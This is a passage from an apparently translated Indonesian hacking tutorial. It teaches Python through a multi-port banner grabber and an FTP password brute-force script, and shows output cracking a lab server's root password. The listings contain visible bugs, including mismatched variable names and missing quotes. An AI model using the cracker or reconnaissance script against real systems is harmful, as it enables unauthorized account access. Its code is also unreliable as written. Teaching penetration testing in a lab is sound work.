keluar. Jika tidak mendapatkan 230, itu akan melanjutkan setiap kata sandi yang tersisa
hingga menerima 230 atau sampai menghabiskan daftar sandi.
17.8 MENINGKATKAN SCRIPT HACKING
Sekarang dengan sedikit lebih banyak latar belakang dalam struktur perulangan
Python dan pernyataan bersyarat, mari kembali ke skrip bannergrabbing dan menambahkan
beberapa kemampuan.
Kami akan menambahkan daftar port yang ingin kami ambil spanduknya, daripada
hanya mendengarkan di satu port, lalu mengulang daftar menggunakan pernyataan untuk.
Dengan cara ini, kita dapat mencari dan mengambil spanduk untuk beberapa port dan
menampilkannya ke layar.
Pertama, mari buat daftar dan masukkan port tambahan ke dalamnya. Buka
HackersBangkitSSHBannerGrab.py, dan kami akan bekerja dari sana. Daftar 17.5
menampilkan kode lengkap. Perhatikan bahwa garis abu-abu tetap sama; garis hitam adalah
garis yang perlu Anda ubah atau tambahkan. Kami akan mencoba mengambil spanduk untuk
port 21 (ftp), 22 (ssh), 25 (smtp), dan 3306 (mysql).
#! /usr/bin/python3
import socket
➊ Ports = [21,22,25,3306]
for i in range (0,4):
s = socket.socket()
➌ Ports = Port[i]
print ('This Is the Banner for the Port')
print (Ports)
➍ s.connect (("192.168.1.101", Port))
answer = s.recv (1024)
print (answer)
s.close ()
Daftar 17.5 Meningkatkan pengambil spanduk
Kami membuat daftar yang disebut Port ➊ dan menambahkan empat elemen,
masing-masing mewakili satu port. Kemudian, kita membuat pernyataan untuk yang
mengulangi daftar tersebut empat kali, karena memiliki empat item .
Ingatlah bahwa saat Anda menggunakan for loop, kode yang terkait dengan loop
harus diindentasi di bawah pernyataan for.
Kita perlu mengubah program untuk mencerminkan penggunaan variabel dari daftar
pada setiap iterasi hingga selesai. Untuk melakukannya, kami membuat variabel bernama
Port dan menetapkannya ke nilai dari daftar pada setiap iterasi ➌. Kemudian kami
menggunakan variabel itu dalam koneksi kami ➍.
Saat penerjemah mendapatkan pernyataan itu, penerjemah akan mencoba
menghubungkan ke port mana saja yang ditetapkan ke variabel di alamat IP. Sekarang, jika
Anda menjalankan skrip ini pada sistem dengan semua port yang terdaftar terbuka dan
diaktifkan, Anda akan melihat sesuatu seperti Daftar 17.6.
kali >./HackersBangkitPortBannerGrab.py
This is the Banner for the Port
21
220 (vsFTPd 2.3.4)
This Is the Banner for the Port
22
SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
This Is the Banner for the Port
25
220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
This Is the Banner for the Port
3306
5.0.51a-3ubuntu5
Daftar 17.6 Output untuk pemegang spanduk port
Perhatikan bahwa skrip telah menemukan port 21 terbuka dengan vsFTPd 2.3.4
berjalan di atasnya, port 22 terbuka dengan OpenSSH 4.7 berjalan di atasnya, port 25
dengan Postfix, dan port 3306 dengan MySQL 5.0.51a.
Kami baru saja berhasil membuat alat multiport bannergrabbing di Python untuk
melakukan pengintaian pada sistem target. Alat ini memberi tahu kami layanan mana yang
berjalan di port dan versi layanan itu! Ini adalah informasi penting yang dibutuhkan Hacker
sebelum melanjutkan serangan.
17.9 PENGECUALIAN DAN PEMECAH SANDI
Setiap kode yang Anda tulis akan berisiko mengalami kesalahan atau pengecualian.
Dalam istilah pemrograman, pengecualian adalah segala sesuatu yang mengganggu aliran
normal kode Anda—biasanya kesalahan yang disebabkan oleh kode atau input yang salah.
Untuk menangani kemungkinan kesalahan, kami menggunakan penanganan pengecualian,
yaitu hanya kode yang menangani masalah tertentu, menyajikan pesan kesalahan, atau
bahkan menggunakan pengecualian untuk pengambilan keputusan. Di Python, kami memiliki
struktur try/except untuk menangani kesalahan atau pengecualian ini.
Blok coba-coba mencoba untuk mengeksekusi beberapa kode, dan jika terjadi
kesalahan, pernyataan kecuali akan menangani kesalahan tersebut. Dalam beberapa kasus,
kita dapat menggunakan struktur try/except untuk pengambilan keputusan, mirip dengan
if...else. Misalnya, kita dapat menggunakan try/except di cracker kata sandi untuk mencoba
kata sandi dan, jika terjadi kesalahan karena kata sandi tidak cocok, pindah ke kata sandi
berikutnya dengan pernyataan kecuali. Mari kita coba itu sekarang.
Masukkan kode di Daftar 17.7 dan simpan sebagai ftpcracker.py; kita akan
mempelajarinya sebentar lagi. Skrip ini menanyakan nomor server FTP kepada pengguna dan
nama pengguna akun FTP mana pun yang ingin di hack. Kemudian, sandi terbaca dalam file
teks eksternal yang berisi daftar kemungkinan kata sandi dan mencoba masing-masing
dalam upaya untuk meretas akun FTP. Skrip melakukannya sampai berhasil atau kehabisan
sandi.
#! /usr/bin/python3
import ftplib
➊ server = input(FTP Server: ")
➋ user = input("username: ")
➌ Passwordlist = input ("Path to Password List > ")
➍ try:
with open(Passwordlist, 'r') as pw:
for word in pw:
➎ word = word.strip ('\r').strip('\n')
➏ try:
ftp = ftplib.FTP(server)
ftp.login(user, word)
➐ print (Success! The password is ' + word)
➑ except:
print('still trying...')
except:
print ('Wordlist error')
Daftar 17.7 Skrip Python Hacker sandi FTP
Kami akan menggunakan alat dari modul ftplib untuk protokol FTP, jadi pertamatama kami mengimpornya. Selanjutnya, kami membuat server bernama variabel dan
pengguna bernama variabel lainnya, yang akan menyimpan beberapa perintah untuk input
user. Skrip Anda akan meminta pengguna untuk memasukkan alamat IP server FTP ➊ dan
username untuk akun ➋ tersebut yang coba dibobol oleh pengguna. Kemudian kami
meminta pengguna untuk jalur ke daftar sandi ➌. Anda dapat menemukan banyak daftar
kata sandi di Kali Linux dengan memasukkan daftar kata temukan di terminal. Kami
kemudian memulai blok kode try yang akan menggunakan daftar kata sandi yang diberikan
oleh pengguna untuk mencoba memecahkan kata sandi untuk nama pengguna yang
diberikan oleh pengguna.
Perhatikan bahwa kami menggunakan fungsi Python baru yang disebut strip() ➎.
Fungsi ini menghapus karakter pertama dan terakhir dari string (dalam hal ini, password list).
Hal ini diperlukan jika sandi dalam daftar ini memiliki spasi atau koma sebelumnya.
Fungsi strip() menghapus ini dan hanya menyisakan string karakter dari kata sandi potensial.
Jika kami tidak menghapus spasi putih, kami mungkin mendapatkan negatif palsu.
Kemudian, kami menggunakan blok try ➏ kedua. Di sini, kami menggunakan modul
ftplib untuk menyambungkan ke server terlebih dahulu menggunakan alamat IP yang
diberikan pengguna lalu mencoba kata sandi berikutnya dari daftar sandi di akun tersebut.
Jika kombinasi nama pengguna dan sandi menghasilkan kesalahan, blok akan keluar
dan menuju ke klausa except klausa ➑, di mana ia mencetak masih mencoba dan kemudian
kembali ke kata sandi teratas untuk klausa dan mengambil kata sandi dari daftar berikutnya.
Jika kombinasi berhasil, sandi yang berhasil tercetak ke layar ➐. Baris akhir
mengambil situasi lain yang akan mengakibatkan kesalahan. Contohnya adalah jika
pengguna memasukkan sesuatu yang tidak dapat diproses oleh program, seperti jalur yang
buruk ke daftar kata atau daftar kata yang hilang.
Sekarang, mari kita jalankan skrip ini terhadap server FTP di 192.168.1.101 dan lihat
apakah kita dapat memecahkan sandi pengguna root. Saya menggunakan daftar sandi
bernama bigpasswordlist.txt di direktori kerja saya. Anda mungkin perlu memberikan
seluruh jalur ke daftar sandi mana pun yang Anda gunakan jika tidak ada di direktori kerja
Anda (misalnya, /usr/share/bigpasswordlist.txt).
kali >./ftpcracker.py
FTP Server: 192.168.1.101
username: root
Path to PasswordList >bigpasswordlist.txt
still trying...
still trying...
still trying...
--snip—
Success! The password is toor
Seperti yang Anda lihat, ftpcracker.py berhasil menemukan sandi untuk root
pengguna dan menampilkannya di layar.
17.10 RINGKASAN
Untuk lulus dari status scriptkiddie, seorang Hacker harus menguasai bahasa scripting,
dan Python umumnya merupakan pilihan pertama yang baik karena fleksibilitasnya dan
kurva pembelajarannya yang relatif kecil. Sebagian besar hacking toolan ditulis di Python,
termasuk sqlmap, scapy, dan banyak lainnya. Di sini, Anda telah mempelajari beberapa dasar
Python yang dapat Anda gunakan untuk membangun beberapa alat Hacker yang berguna
namun sederhana, termasuk pengambil spanduk dan pemecah kata sandi FTP. Untuk
mempelajari lebih lanjut tentang Python, saya sangat merekomendasikan buku No Starch
Press yang sangat bagus Mengotomatiskan Hal-Hal yang Boring Stuff Python (2015) oleh Al
Sweigart.